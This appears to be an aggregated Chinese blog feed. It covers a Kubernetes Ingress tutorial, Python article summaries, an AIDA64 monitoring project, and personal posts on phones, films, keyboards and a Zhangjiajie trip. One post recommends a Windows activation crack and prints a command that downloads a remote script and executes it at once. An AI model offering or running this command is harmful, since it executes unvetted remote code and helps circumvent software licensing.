可以看到,当请求路径满足 /test(/|$)(.*)
时,就路由到后端的 myapp:38080
服务,当请求满足 /test2(/|$)(.*)
时,就路由到后端的 hello-actuator:8080
服务。这里有三个参数需要注意:path
表示请求的路径,pathType
表示请求的路径匹配类型,annotations
则是 Ingress Controller 特定的一些注解。
每一个 path
都必须设置 pathType
,pathType
有三种取值:
path
值完全一样时才匹配,比如 path
值为 /foo
,请求路径必须为 /foo
才能匹配,如果是 /foo/xxx
或者 /foo/
都不匹配;path
为前缀时才匹配,比如 path
值为 /foo
,请求路径为 /foo/xxx
或者 /foo/
都可以匹配,但是这里的前缀并完全是字符串前缀匹配,比如请求路径 /foobar
就不能匹配;另外,如果有多个路径都满足匹配规则,那么匹配最严格的那条规则,比如有三个 path
,分别是 /
,/aaa
和 /aaa/bbb
,当请求路径为 /aaa/bbb
时,匹配的应该是最长的 /aaa/bbb
这个规则;path
中使用了正则表达式,通过正则表达式的分组捕获功能,我们可以在 Ingress NGINX Controller 的 Rewrite annotations 中用来做路由重写。当我们请求 /test2/actuator/info
这个路径时,默认情况下,Ingress 会将我们的请求转发到后端服务的 /test2/actuator/info
地址,如果希望忽略 /test2
前缀,而转发到后端的 /actuator/info
地址,那就要开启路径重写,Ingress NGINX Controller 提供了一个注解 nginx.ingress.kubernetes.io/rewrite-target
来实现路径重写功能,路径重写一般和 Ingress Path Matching 一起使用,在定义 path
时,先使用正则表达式来匹配路径,比如 /test2(/|$)(.*)
,然后将 rewrite-target
设置为正则的第二个分组 /$2
。
Ingress 还支持配置多虚拟主机,将来自不同主机的请求映射到不同的后端服务,如下图所示:
下面是虚拟主机 Ingress 的一个示例:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-virtual-host
spec:
rules:
- host: foo.bar.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: myapp
port:
number: 38080
- host: bar.foo.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: hello-actuator
port:
number: 8080
这里我们将来自 foo.bar.com
的请求映射到 myapp:38080
服务,将来自 bar.foo.com
的请求映射到 hello-actuator:8080
服务。将这两个域名添加到 /etc/hosts
文件中,使用 curl
验证之:
# curl http://foo.bar.com:26360
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-9xm5j | v=1
如果不修改 /etc/hosts
文件,也可以通过 curl
的 --resolve
参数手动解析域名:
# curl http://foo.bar.com:26360 --resolve foo.bar.com:26360:172.31.164.40
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-mb8l2 | v=1
我们还可以配置 TLS 证书来加强 Ingress 的安全性,这个证书需要放在一个 Secret 对象中。为了验证这个功能,我们先使用 openssl req
命令生成证书和私钥:
$ openssl req \
-x509 -sha256 -nodes -days 365 -newkey rsa:2048 \
-keyout tls.key -out tls.crt \
-subj "/CN=foo.bar.com/O=foo.bar.com"
这个命令会在当前目录生成两个文件:tls.key
为私钥,tls.crt
为证书,生成的证书中需要指定 CN(Common Name),也被称为 FQDN(Fully Qualified Domain Name),这个一般就是你的域名,对应下面 Ingress 配置中的 host
字段。
然后我们再使用 kubectl create secret tls
命令创建一个 TLS 类型的 Secret,并将这两个文件保存进去:
$ kubectl create secret tls tls-secret --key tls.key --cert tls.crt
创建好的 Secret 如下所示:
# kubectl get secret tls-secret -o yaml
apiVersion: v1
kind: Secret
metadata:
name: tls-secret
namespace: default
data:
tls.crt: LS0t...
tls.key: LS0t...
type: kubernetes.io/tls
注意,Secret 中必须包含
tls.crt
和tls.key
这两个键。
然后创建 Ingress 时,通过 tls.secretName
参数关联上这个 Secret 名称,就可以开启 TLS 功能了:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-tls
spec:
tls:
- hosts:
- foo.bar.com
secretName: tls-secret
rules:
- host: foo.bar.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: myapp
port:
number: 38080
访问 Ingress 的 HTTPS 端口进行验证:
# curl -k https://foo.bar.com:23476 --resolve foo.bar.com:23476:172.31.164.40
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-mb8l2 | v=1
使用 TLS Ingress 时有几点要注意:
Ingress NGINX Controller 通过注解和 ConfigMap 还能实现一些其他有用的特性,比如:
更多特性可以参考这里的 注解列表。
403 Forbidden
,通常由 CSRF 错误导致,文章介绍了导致这种错误的 7 种原因,并解读 Django 源码,详细梳理了它们的校验逻辑。seccomp
+ setrlimit
。(附:如何安全运行别人上传的Python代码? 这篇文章的方案是使用 Docker 的 Python SDK 来构建镜像,在 Docker 中执行代码)cp
命令的工作原理,然后用 Python 实现了一个基础版本。从中可以看到高级编程语言提供的强大功能和简单性。generate
方法的替代品。(star 3.3K)银行卡过期换卡,要网银激活新卡片。把闲置了 2 年的台式机从柜子里面搬出来,插电竟然没反应。只好来次彻底的清灰。几个小时搞定了换硅脂、洗机箱、理线等物理环节。好久没装过系统了网络搜索好资料,纯记录下。这次用到了 2 个软件
主要是老电脑的硬件不符合 win11 的推荐要求。这款 ISO 烧录器可以跳过硬件要求。软件本身使用很简单。
跟以前流行的 KMS Pico 工具比起来,Microsoft Activation Scripts 安全性比较高,它的程式码是开源的,很难藏病毒,也不需要到奇怪的网站下载破解程式。可在Github 查看源码。
根据官方文件,此脚本支持三种破解方式:
以上三种方法,一般用 HWID 方式启用密钥足矣。
irm https://massgrave.dev/get | iex
by yangpeiyuan (i@yangpeiyuan.com) at November 17, 2023 02:39 PM
grequests
构建在 gevent
库之上,可以并发多个请求,有效利用异步编程的强大功能。这篇基础教程介绍了它的基本使用方法,以及一个提升性能的建议。GeneratedField
是正在开发的 Django 5.0 的新功能,利用数据库的能力自动计算数据列的值。作者是 Django 的贡献者,测试了在 SQLite 中使用这个新功能的各种场景。(附:这篇文章还介绍了一些 Django 5.0 中的新东西)bisect
模块只有两个函数,但可以做很多事,文章介绍了:二分搜索、前缀搜索、在列表中查找连续的相等值、查找字典中最接近的键、自定义对象的排序、按照字典 key 搜索。kivy
,数据分析使用了Pandas
。requirements.txt
来管理 Python 依赖项,推荐使用 Poetry。pip 的主要问题是没有 lockfile 和手工管理虚拟环境麻烦。除了 Poetry,作者也提及了 Hatch 和 PDM。python setup.py
提示 setuptools 无法导入。作者在寻求解决方案时,发现 Python 的打包生态非常让人困惑,他经历了一系列复杂而耗时的过程。最近给电脑加了一块副屏,打算玩游戏的时候用来显示一下硬件状态。研究了一下发现大部分副屏监控的解决方案就是 HDMI/PD 连接电脑 + AIDA64 的状态监控页。AIDA64 的状态监控页有两种模式,一种是本地的 sensor panel,另一种是可以远程通过网页访问的 LCD,两种模式下的模板互不兼容,并且配置极其麻烦:基本上模板的分辨率是锁死的——别人的模板如果分辨率与自己显示器不一致很难调;如果从零开始自定义一个甚至得用 PS 切图,作为一名发者这自然是不能忍的。所以考虑调用 AIDA64 的 API、用自己熟悉的 web 框架来自定义一个便于开发和维护的监控页。
AIDA64 并没有提供现成的 Resty API,于是翻了一阵选项,发现一个外部程序(External Applications)选项,可以把监控数据写入共享内存、注册表以及 RTSS,RTSS 是提供了现成的 API,但是得用 C++ 代码调,我嫌麻烦,所以选择了写入注册表,之后在 HKEY_CURRENT_USER\Software\FinalWire\AIDA64\SensorValues
下面就能看到监控数据了。如此一来剩下的就很简单了,本地起一个服务,定时轮询注册表数据,然后通过 web socket 把实时数据推送给网页即可。
网页开发用的是 React,唯一的难点可能就是监控页怎么设计吧,姑且按照自己的口味撸了一个 🙈
剩下的开发过程也没啥好赘述了,直接上代码和使用方法:
https://github.com/mashirozx/strix-monitor
国内加速镜像:
https://git.mashiro.top/mashiro/strix-monitor
这个程序主要是面向有一定动手能力的用户,对技术的要求不高,但至少需要明白如何打开 Powershell 或者 CMD,如何运行命令,会使用 VSCode 简单修改一下代码。如果是纯小白,建议还是直接折腾 AIDA64 的面板吧~
电脑需要安装 Node.js,我用的版本是 18,理论上应该 14 以上都能用。建议安装 git,后续方便拉取更新。
如图所示配置,勾选将监控数据写入注册表并在下方勾选想要监控的项目,如果使用我的模板可以暂时全部勾上。
AIDA64 各项传感器监控数据在不同硬件配置下会有所区别,这里我没有花精力去做自动适配,所以需要自行修改项目代码以适配各种硬件情况。
git clone https://github.com/mashirozx/strix-monitor.git
# 或者用国内加速镜像
git clone https://git.mashiro.top/mashiro/strix-monitor.git
也可以直接下载项目的 zip 文件。
我们使用 pnpm
作为包管理工具,请勿使用 npm
或者 yarn
。
# 安装 pnpm,npm 命令仅会在这里用一次
npm i -g pnpm
# 安装项目依赖
cd strix-monitor
pnpm i
pnpm wss
保持窗口打开,关闭窗口程序将退出。
pnpm update-aida64
这时你的 AIDA64 数据结构会被同步到 aida64.d.ts
文件中,内容类似下面:
declare type Aida64 = {
SDATE: {
label: 'Date';
value: '2023/8/6';
};
SCPUCLK: {
label: 'CPU Clock';
value: '5500';
};
'SCC-1-1': {
label: 'CPU Core #1 Clock';
value: '5500';
};
}
其中 SDATE
、SCPUCLK
、'SCC-1-1'
是数据指标的 key,label 是对应维度的说明,value 是实时监控的值。注意这个文件只是用来定义数据结构类型,它的值并不需要实时更新。
用 VSCode 打开 themes\ThemeDigit\index.tsx
这时大概会看到 VSCode 显示很多错误提示,都是 data?.XXXX
下标着红色波浪线,这些就是你的电脑监控数据和我的监控数据不同的地方了,按照刚刚生成的 aida64.d.ts
文件,从中找到对应指标的 key,替换到 data?.XXXX
的 XXXX
上,如果没错,下方的红色波浪线就会消失。
pnpm start
这一步用来检查修改的代码是否正确,启动后在浏览器访问 http://localhost:3000 就能看到监控页了,如果有报错或者数据缺失,按提示继续修改代码。注意 FPS 一项需要启动 RTSS 服务,同时正在运行游戏才会显示数据,平时就是显示 N/A(RTSS 是啥?安装微星小飞机的时候一起安装的那个插件,也可以单独到这里下载);而如果其他项目显示 N/A 就可能是你的数据源配错了,请调整对应指标的 key。
上一步确认展示内容正常后,关闭第三步和第六步中启动的那两个命令行窗口,然后运行:
pnpm build
然后在文件管理器中直接双击 run.bat
文件启动服务,这时就能通过 http://localhost:3000 访问正式的监控页了。以后每次开机都需要双击 run.bat
启动监控服务,你可以给它创建桌面快捷方式或者添加到开机启动项,注意启动服务之前需要先启动 AIDA64,可以把 AIDA64 的开机自动启动打开。
正式服务包含两个程序:ws 服务 和 web 服务,run.bat
会同时启动两个服务,但你也可以分别启动:
# ws 服务
pnpm wss
# web 服务
pnpm start
ws 服务必须和 AIDA64 在同一台电脑上运行,因为要读取注册表。
项目里面只有一个我自用的主题,如果你有开发能力,可以在 themes 下创建文件夹,编写自己的主题,然后在 app\page.tsx
里面引入自己的主题。
目前项目状态是个人自用,所以字段都是硬编码进去的,如果后面用的人多了可以考虑做成可以直接在前端动态配置的形式,然后用 Electron 或者 UWP 套一层壳,这样就算是小白应该也能用了。
The post 基于 AIDA64 和现代 web 技术的电脑性能监控页 appeared first on 樱花庄的白猫.
uuid
库的几个方法:uuid1() 利用系统 MAC 地址与时间戳生成 uuid;uuid4() 生成完全随机的 uuid;uuid3() 和 uuid5() 基于常量命名空间和变量名生成 uuid,前者使用 MD5 算法,后者使用 SHA-1 算法。pytest.main
是 Pytest 框架中一个非常实用的函数,用于从命令行运行测试集或者以编程方式运行测试。文章探讨了它的用法和一些常见的应用场景。最后一次买的手机还是 iPhone Xs Max,一月份摔到地上屏幕没碎但花屏了。花了 600 去电脑城随便换了个三方屏,正常使用了 5 个月自己嗝屁了。只好翻出旧的 iPhoneX 扛到出新机。平时不玩手游,只是刷刷新闻、rss 和常用的 app。通过这几个月的使用体感,发现 iPhoneX 使用过程中也并没有那么的差,自己好像对手机的性能也没像以前那样有要求了,也可能是没钱吧。
好像在 iPhone 11 以前选手机只要关注屏幕和容量的大小即可。这几年大家遇到的数字版和 pro 的纠结完美避过了。因为是 Apple 设备全家桶用户,所以手机也只能继续选 iPhone,不过这次 iPhone15 的新机型选择也没有很纠结。
通过这几个月用 iPhoneX,让我非常清楚性能适合自己最重要。看看自己平时的实际使用场景,用这款新 CPU 都发挥不出来它的优势。看新闻说这次 CPU 只比前代提升 20%,主要提升点是 GPU 的性能。
之前都是不戴壳不贴膜,我手汗还比较重。正常使用个 3 ~ 4 年好像边框也就是正常使用的痕迹。重量嘛以前不在意,所以每次都是选大屏。有了宝宝之后出门带的东西多了,希望越轻越好。
之前锁屏界面的相机和手电筒的快捷键都很少用。和系统应用进行快捷交互的场景不多。反而是常用 app 都是通过负一屏的 widget 来进行快捷访问。
在 iPhoneX 和 iPad Pro 之间经常切换使用,并没有刷新率高低带来的不适感。
最近 2 年我最喜欢的照片竟然是我偶然间用备用机 Google Pixel 3 拍的。平时哪怕我用富士相机也没有我老婆随手用手机拍的好看。日常记录对手机镜头的要求很低很低。
我理想中的升级 Feature:真正的全面屏、大功率快充、更大的运存。这些本次都没有。所以果断选择 iPhone 15 标准版了。作为数码爱好者这次选择这么冷静不追求顶配版。也不知道以后会不会又少了一个爱好。
by yangpeiyuan (i@yangpeiyuan.com) at September 17, 2023 02:39 PM
2023年的夏天炽热难耐,2023年的暑期电影档也是热力四射,带着孩子影院纳凉,动画片、故事片一个也别落下。近几年国产电影大幅崛起,从爱国题材到主旋律电影,从故事片到国产动画,物质生活的丰富,更加催生了人民对精神文化的追求,国力的强盛也让文化自信更加充盈,那些曾一统院线的欧美大片渐渐没了观众,而国产片也终于突出重围,今年夏天这个暑期档更是好戏连台。
印象中从《西游记之大圣归来》开始,国漫电影在传统IP上闯出了一番别样天地,后有《哪吒之魔童降世》、《白蛇:缘起》,国产动画电影逐渐从剪纸、皮影效果过渡到3D动画、动作捕捉上。今年的暑期档一部《长安三万里》将盛唐繁华演绎进了动画片中,从诗仙李白起伏的人生角度入手,以边塞诗人高适的娓娓叙述,道尽了大唐盛极而衰的落寞。
电影中那些耳熟能详的的诗词,曾经何尝不是我们的青春,一曲《将进酒》将整个故事带入高潮,人生得意须尽欢,莫使金樽空对月。又何尝不该照进现实。
2019年发生在泰国,主角是两个中国人的惊天大案震惊了很多人,丈夫为了夺取妻子的钱财用于赌博痛下杀手,将孕妻推下悬崖,很难想象现实世界会有如此疯狂的罪恶。多年后一部取材于泰国坠崖案,剧情改编自前苏联电影《为单身汉设下的陷阱》的国产悬疑故事片《消失的她》热映。电影经过一众女士的口碑传播,票房直上30亿,电影剧情经过反转、反转再反转,剥洋葱似的慢慢的拨开了李木子血淋淋的悲剧。在暑期带给观众对婚姻和枕边人的长久探讨。
说到赌博,那可是万恶之首,千夫所指。有一部现象级电影《孤注一掷》,其中女主角的被骗到缅北从事荷官的工作,利用美貌和诱饵坑骗国内一众好赌分子和自以为是的家伙。电影《孤注一掷》三条故事线:潘生(python)的职场失意被骗,梁安娜的高薪梦想主动被骗,顾天之的自以为是的被骗,一个极力反抗的自我救赎,一个锒铛入狱,一个千金散尽付出生命(玉碎瓦全,大概是没死)。这些艺术上的加工远比那些经历过缅北诈骗现实来的轻松了一些,但就是这加工后的剧情还是那么骇世惊闻,也许我们都太过信任于自己,那种盲目的且自大的自信。就像电影中的描述的:反诈宣传都印到鸡蛋上了,自信不会被骗的人依然视而不见。
还记得《盲井》中的元凤鸣,《天下无贼》中的傻根,《集结号》中的姜茂财,那个出演故事片演技至臻的王宝强,到后来在喜剧路上一路狂奔到停不下来,《人在囧途》囧系列,《唐人街探案》探系列,似乎他自己也只记住了自己是个喜剧演员,自导自演《大闹天竺》,票房口碑双扑街,还有他那“大闹”系列的婚姻短剧,毫无意外,忘乎所以必然折戟沉沙。当年金扫帚奖颁给了《大闹天竺》,大概从那时起,王宝强才再次重新认识了一次电影。六年磨一剑,《八角笼中》改编于真实故事的电影上映了,中年失意的向腾辉带着一群无助的孩子突出重围。现实中,中年失意的王宝强带着自己“孩子”《八角笼中》在这个热闹的暑期档突出了重围。就像网友通过王宝强的四件事(放弃拍摄参加维和教官的葬礼、亲自去领了金扫帚奖、没被前妻和经纪人挖出黑料、借钱纳税)对他做出的评价:真诚才是必杀技。
要说前面几部电影在服化道上面都是“小制作”,那么扛起电影工业“大制作”大旗的无疑是这部《封神》三部曲。封神纪录片全景展示了这部电影服化道的制作过程和技艺。无论是四方五行的传统文化,还是动作捕捉动画特效,从海选演员封闭培训到100多位木雕师傅的精雕细琢,从影棚实景搭建到六艺骑射学用相合。精良的制作,恢弘的场景,历久弥新的神话背景,每个人心中都有一部封神榜。尽管那些经不起深扒的过往和崩塌的世界观重合在电影中,或许在导演乌尔善的心中封神榜就是如此。
《变形金刚》大概只剩下情怀了,没有出彩的打斗,一如从前的与人类并肩剧情,到这部《超能勇士崛起》只是将动画中的猛兽侠搬上荧幕,为了电影而电影。即便拉胯的剧情,第一部好歹还有惊艳的梅根福克斯,这部人类女主角,阿西吧!不知道等到80、90后这一代老了,这情怀还能卖给谁?
这些年好莱坞工业在国内逐渐不畅销了,反倒是迪斯尼的动画片一部接着一部的大火。今年暑期档同样有一部迪斯尼电影《疯狂元素城》,号称东亚移民版的《疯狂动物城》,口碑一般,有《疯狂动物城》珠玉在前,这就算了吧。
除了上述院线电影之外,这个暑期档还有不错的网络电影,比如谢苗主演《东北警察故事1、2》、任达华主演《零号追杀》、《红色特工》。随着网标的诞生,出生在网络上的电影从龙标中脱离出来,获得了一副名正言顺的身份。也诞生了类似谢苗这样主攻网络电影的演员和创作者,显而易见制度枷锁的解除造就了另一个层面的繁荣,什么时候中国电影能诞生分类分级的制度,到那时候凛冬将过,春花不远。
又到一年开学季,今年上小学的孩子基本都是出生于2016和2017年中国近20年来生育最高峰的一代人,学位资源、校师资源在代孩子身上都异常紧张,用捉襟见肘丝毫不为过。一部《学爸》写实电影将“卷”这个网络热词搬上荧幕,那些为娃奔走的可怜的中国父母,在一轮又一轮的资源争夺战中耗尽家财,疲于奔跑。就像电影台词中说的:别人都在跑,我不敢停。大概这就是这辈父母卷又卷不动,躺又躺不平的真实心理写照。很无奈,我正是一位2016年出生孩子的父亲。
8月的最后,一部网络短剧刷爆了各大短视频平台,它叫《逃出大英博物馆》,看看吧,那 只 盏中华缠枝纹薄胎玉壶,那些流失到海外的中华文物,UP主很有心,拍的很棒。
暑假带着孩子在市内到处转转,一来是给学校发的上海市中小学生社会实践基地“家庭护照”打卡,二是带她了解一下“世界”消磨时间增长见识。正好暑期带她看了几部动画电影,那我们就去看看电影是如何制作出来的吧,于是我们就去了坐落于于上海电影制片厂内的上海电影博物馆。虽然只是走马观花般的看了电影的起源,电影摄制设备,点播了国内外经典电影片段,但希望小小的电影种子能在娃儿心里开出一朵大大的花。
解决 macOS 下休眠后键盘无法唤醒系统的问题。
最近翻出了早些年买的 race II 来用,发现在 macOS 下休眠后键盘无法唤醒系统。由于这个键盘太古早了搜索都只出现少量的结果,把最终找到的解决方案记录下(参考了 v2ex 的帖子)。
用了几天后发现在家用青轴键盘简直就是找抽。然后就是下面的蓝牙薄膜键盘推荐了。
看到少数派的编辑推荐的捡漏键盘,刚好适合我目前在家无法使用青轴的场景。APPLE magic keyboard 平替。键盘官方网站
和触摸板尺寸一致
和 iPad 搭配也不错
去海鲜市场探探风…… 果然,有很多「仅拆封」的国际版,标准美式布局要价 160—180 不等。FWIW,很多详情页一堆错别字的杂牌键盘都卖到这个钱了;那不找了就你了。(有的渠道卖的是欧洲键盘布局,虽然更便宜,但没有必要添这个麻烦,如果感兴趣注意不要买错。)
隔天到手,确实就是个仅拆封成色。至于那个写在产品名里的「高键程」,肯定跟机械键盘没法比,但确实一眼看过去就比 Magic Keyboard 更「深邃」,打起来也更带劲(但略微偏软)。如果说有什么缺点,最上面一排媒体键跟 Mac 的常见分布不太一一致、功能也不完全兼容,比如可以调音量但不能调亮度;但有 BetterTouchTool 之类第三方软件的自定义在,这倒无关紧要。另外,键位拨动开关的设定偶尔会失灵,变回 Windows 布局,需要来回拨一次才能恢复。
by yangpeiyuan (i@yangpeiyuan.com) at September 09, 2023 03:14 PM
logging
比较难用,加上在程序错误时经常会缺少必要的日志,因此开发了 flake8-logging 插件。它有 12 条规则,这篇文章介绍了 3 条:使用 logging.getLogger() 实例化记录器、在异常处理时使用 exception()、避免预先格式化日志信息。Socket
接口,还基于它提供了Protocol
&Transport
接口以及更高级的Stream
接口,大大的减轻了开发者进行网络编程的心理负担。文章主要介绍了这几个接口的简单使用以及对应的原理分析。内容我大致分吃住行玩几个章节简要的概括下,所有行程消费信息仅代表我个人,仅供参考。张家界是旅游兴市,整个市主要都是旅游产业。所以景点会非常多,相距也不是很远,如果非本地的去玩,除非是有钱有闲的大佬,所以得选择一些核心的景点就好。时节选择是四季均可,分别有不同的景色。本次我计划的是四天三夜的行程,包括从上海过去的赶路时间。实践证明最好是五天四夜会比较充裕一点。因为我原本计划的凤凰古城(不属于张家界,但是很近,不到200公里)没有去成。
下面总结下游览路线,附件为高清大图,有需要的可以下载。
推荐游玩时间:2天,景区很大,一天是无论如何也逛不完核心景点的,门票是4天内有效,可以反复进出,核心景点需要两天逛完,还有很多徒步线路,比如天子山索道可以步行爬上去,如果逛完整个武陵源而且爬山的话,腿脚快的也需要3-4天才能走完。
推荐游玩路线:建议逆时针游玩。
第一天:
A:天子山,武陵源标志门进,2号检票口,坐环保大巴前往天子山脚下,索道上天子山,索道是需要单独买票的,包括百龙天梯。天子山上的主要景点是贺龙公园(贺龙墓、贺龙铜像)、御笔峰和仙女献花、其中御笔峰就是张家界城市标志素材。贺龙公园有麦当劳和自助餐店,可以补充能量。
B:逛完天子山乘大巴往前往杨家界方向。中途有点将台和大观台,如果要下车去记得在大巴报站的时候喊师傅停车,否则直接就给带到杨家界了。点将台能看到奇峰千座,犹如神兵点将。大观台路口前往大观台可以看到天子山主峰。回到主路往前走一点是丁香榕路口,这里可以看空中田园,需要坐小的电动车,额外付钱的。这个地方我没去。
C:杨家界,前两年一把大火烧了,刚恢复生机,主要是能看到天然长城,景观不如袁家界,所以我也没去,时间比较紧张,如果不带娃的可以去转一下。
D:袁家界,此行武陵源的最核心景点。包括天下第一桥、哈利路亚山(阿凡达悬浮山原型)、迷魂台等,袁家界停车场这里有德克士小吃店可以补充能量,然后跟着路牌指示单向前进即可。出了迷魂台以后就到了大巴乘车点。
E:百龙天梯,严格来讲这也不算景点,额外花笔钱,做88秒的观光电梯下到山脚,再做一段小电梯下到底,到大巴乘车点,乘车到标志门出景区。
第二天:
A:十里画廊,继续昨天的标志门进,1号检票口坐环保大巴前往十里画廊,十里画廊实际上是个小峡谷,有十二生肖及正能量小火车,小火车也是单独收费的。强烈建议步行,因为真的没有10里路,单程1.7公里,小火车成人收费是76。景点有采药老人、三姊妹峰,步行道边上会遇到野生猴哥,建议别招惹他们,别投喂,猴子这种动物报复心强还记仇。逛玩回到乘车处,乘大巴前往下一站。
B:金鞭溪,金鞭溪广场有补给点,金鞭溪入口这里是水绕四门景观。然后顺着金鞭溪溪谷往上走,碎石滩可以戏水,水比较冷,如果东西放在边上记得防猴子,这家伙可是硬抢的。后续一直顺着金鞭溪往上游走,可以直通大氧吧广场。中途部分有前往鹞子寨和袁家界的路线,这是顺时针游玩前往袁家界比较好的路线。
C:黄石寨,这里我没去成,原因是在金鞭溪中途的地方,娃儿玩水,老婆和女儿一同掉溪里了,浑身湿透,不得已转头出了景区换衣服,再掉头进景区时间就不够了,留个遗憾,给将来再去留个借口,正所谓不到黄石寨枉来张家界。
推荐游玩时间:半天,张家界大峡谷景区也很大,但是游玩路线不复杂,全程下来是3个小时,不过它在距武陵源16公里的地方,要顺着G241国道前进,直接开到游客服务中心。
推荐游玩路线:B线。景区分AB两条线,A线今年是免费的,B线就是多了一个网红景点世界最高玻璃桥,然后又分成125的套票和245两种套票。我买的是125的套票,可以建议买245的套票(有一个高空滑索可以体验,还有几个小项目)。
从检票口进去就是玻璃桥了,全国的玻璃桥都差不多的,这个高度高一点,也没那么夸张了,大概280米的落差,东方明珠第二个球的观光玻璃廊道也有260米。玻璃桥后是个大厅可以休息补充能量,然后沿着山边走栈道,有一段是玻璃栈道(这里体验完了,后面天门山的玻璃栈道就不用体验了)。然后坐观光电梯下山,如果245的门票这里可以做高空滑索到峡谷对岸,再下山,不过要排队,挺长的。我们坐观光电梯以为下到山脚,其实只到下到了三分之一,后面三分之二有栈道可以走下去,如果不想走就需要单独买两级的电梯票下到山脚彩虹广场,然后就沿着溪谷走到头,接着坐船到景区入口,再换成大巴到游客中心。如果把车停在景区入口地方就不用换乘上山了,小秘密:景区入口停车场收费的,游客中心停车场不收费。
推荐游玩时间:1天,天门山景区在张家界市区边上,离武陵源景区约40公里,所以从武陵源和大峡谷回到市区,在市区住一晚,第二天早上出发正好。
推荐游玩路线:A线。天门山有ABC三条线路,A线的起点是在张家界市区里面,对,没错就是在市区里面,乘索道直接到天门山山顶,然后走下山路线,A线索道全程需要坐半个小时。B线是索道中站上山,C线是快速索道上山,B线和C线都需要在A线起点的位置换乘中巴车前往,也可以自驾过去。我们选的A线。
上了山顶以后,天门山山顶是一个相对平坦的山顶平地,围着山崖修了一圈栈道。建议上山后先看一下云梦仙顶,然后出来走西线,西线到了天门山寺后可以做小缆车(类似滑索)再回到起点,走东线。天门山寺这里是个广场,可以补充能量。如果在大峡谷体验了滑索了就别坐了,直接在天门山寺这里绕到东线上面,走一圈完成山顶行程。
山顶路线全部逛完以后,坐穿山电梯(7级),直接到天门洞顶。在这里从天门洞走台阶下到天门洞广场。不想走的可以做旁边的电梯(5级,另外买票)。天门洞广场上休息好了就要下山了,顺栈道走到C线索道,坐索道下山到狐仙广场,看狐仙演出的就在这里,不看的话做中巴回到市区A线起点。
酒店:张家界是个旅游城市,无论是张家界市区还是武陵源区,大街小巷全是酒店民宿,所以如果不是旺季,你完全可以不需要提前定酒店,可以到了看看环境再决定住哪里,特别是有洁癖的人。酒店标准从100多的青年旅社到上千的星级酒店都有。因为我是自驾直接到武陵源景区的,所以第一个晚上住在武陵源区(森林公园东门外就是武陵源区政府驻地,完整的商业城镇)的民宿,当时在美团上预定的,不能退订,如果需要在网上预定的一定要选那种当天可退的那种,一是应对行程的突发情况,二是万一看不中可以换。
美食:整个张家界遍地是所谓的“三下锅”,属实不好吃,可能是不正宗或者厨子水平问题,但是遍地都是这个你也没办法区分到底正不正宗,特别是我们江浙一带的居民,完全不符合口味,谨慎尝试。然后特色是娃娃鱼,这个还不错,如果不能吃辣的话和饭店打个招呼,红烧和煲汤,味道还可以,288或388一斤。其它小吃,唉基本上是全国一个样,长沙臭豆腐别说张家界了,现在全国哪儿没有。然后水果有个叫火参果,贼难吃别试。本地的葡萄、梨、李子都还不错,这个时节蜜桔还没有,有也是早熟果不好吃的。
最多的就是葛根粉及葛根粉的衍生品葛根酥、葛根糖之类的,可以尝尝,另外就是小鱼干各式的香辣小鱼干也还行,还有比较小众的莓茶,可以尝尝。还有腊肉、岩耳之类的喜欢的可以买点。另外血豆腐不是张家界特产,而是隔壁邵阳的。上节说的蜜桔椪柑需要来对时节才有。
自驾前往,有个3年实际驾龄的就十分稳妥了,没有别的攻略上说山路复杂。每个人的出发地不同,路线不同,景区周边主要牵涉两条路,长张高速、G241国道。其中G241国道串联了大峡谷、武陵源、天门山等核心景区。需要注意的是国道岔路口多,基本限速70,部分限速50,武陵源附近有个限速40的。长张高速全程限速100,注意长下坡。
从江浙方向过去的话,主要牵涉两条路G50沪渝高速和G56杭瑞高速。G50沪苏浙皖段限速120,沪苏浙段路况极好。安徽段就差点意思。安徽段有个别限速100,另安徽宣城段G50修路只能东向西,无法回来,回来得绕行。
进湖北走黄梅、武穴后转G56,G56湖北段全程限速110,阶段性区间测速,区间都比较长。过通城后进入湖南,G56湖南全程限速100,全程区间测速。区间大部分都10几公里区间,别超速。
另外一个有意思的是湖北和湖南两省均监控疲劳驾驶,跨省出行的会被电话语音提醒,我是赶夜路过去的后半夜在湖南境内,被系统提示进入重点监控车辆,路边显示屏会直接显示车牌号,要求进入服务区休息。
总计6664.81元,其中油费:1293元,过路费:1275.91元,酒店:944元,门票:1793元,餐饮:1082.9元,购物及杂项:276元。所有费用不包含出发前的物资采购和保养车辆。
我的老伙计油费基本上5毛钱一公里,来回是2700多公里。过路费差不多也5毛一公里。酒店住了3晚,老婆有洁癖,所以调了个中档的300左右一晚上。门票是三个人的,女儿超过1米2,没有免票待遇,是优惠折扣票。其中武陵源里面的索道和百龙天梯是单独收门票的,不包含在大门票之内。餐饮以KFC和德克士为代表的快餐系列(路上及景区内)及饭店为代表的炒菜系列(城区里面)。饮料、水基本没在景区买,出发之前大润发采购足了随车带的。购物只买了数量不多的特产。
1、景区都要实名的,网上或现场订票,景点都是刷身份证进入。小朋友没身份证怎么办?检票的地方会有专人在PDA上录入小朋友身份证号,然后刷脸或二维码进入。
2、是否需要提前预约?网上的攻略很多提示要预约,实际上不需要预约,因为大部分的攻略是这三年疫情期间做的,预约的理由你懂的。
其它想到的再补充吧,这篇攻略就到这,还有一篇游记,点击查看。
TypeError
的含义、出现的原因以及解决方法。文章非常之细致,介绍了 20 多种容易出错的场景,有些是初学者问题,但也有些是老手也易忽视的编程细节。Asyncio.Future
的特性编写一个语言级别的防缓存击穿的工具——Share
,并介绍它的使用和高并发下的处理方法。.asdl
文件,重新构造抽象语法树,修改语法分析文件,并利用 pegen 重新生成语法分析器。importlib
实现延迟加载的用法。。__all__
来定义模块中可被导出的变量名。assertNumQueries
测试查询数、使用nplusone
捕获 N+1 查询、使用django-zen-queries
捕获 N+1 查询、避免对预取对象作新的查询、使用 defer()
防止获取大的未使用字段、避免在大字段上使用 distinct()
。lark
构建自定义词法分析与解析器、支持用户和代理方式连接、实现 BTree 作数据存储。multiprocessing.Pool
使用写时复制的共享对象的优点、有丰富的状态管理功能、使用 tqdm 实现进度条、支持在仪表板查看进度,等等。(star 1.5K)print("hello world")
,然后在命令行执行这个文件,幕后都发生了什么呢?文章使用了 readelf
、strace
、ldd
、debugfs
、/proc
